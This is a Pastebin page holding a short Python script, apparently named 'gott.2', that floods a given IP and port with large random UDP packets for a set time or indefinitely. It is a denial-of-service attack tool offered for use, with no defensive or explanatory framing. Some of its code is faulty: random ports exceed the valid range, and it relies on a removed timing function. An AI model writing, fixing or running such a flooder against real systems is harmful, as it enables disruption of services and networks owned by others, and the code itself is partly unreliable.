Advertisement
xttpx

gott.2

Dec 7th, 2022 (edited)
662
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.72 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket,random,sys,time
  3.  
  4. if len(sys.argv)==1:
  5.     sys.exit('Usage: gott.2.py ip port(0=random) length(0=forever)')
  6.  
  7. def UDPFlood():
  8.     port = int(sys.argv[2])
  9.     randport=(True,False)[port==0]
  10.     ip = sys.argv[1]
  11.     dur = int(sys.argv[3])
  12.     clock=(lambda:0,time.clock)[dur>0]
  13.     duration=(1,(clock()+dur))[dur>0]
  14.     print('UDP_LAG Attacking: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
  15.     sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  16.     bytes=random._urandom(15000)
  17.     while True:
  18.         port=(random.randint(1,15000000),port)[randport]
  19.         if clock()<duration:
  20.             sock.sendto(bytes,(ip,port))
  21.         else:
  22.             break
  23.     print('DONE')
  24. UDPFlood()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement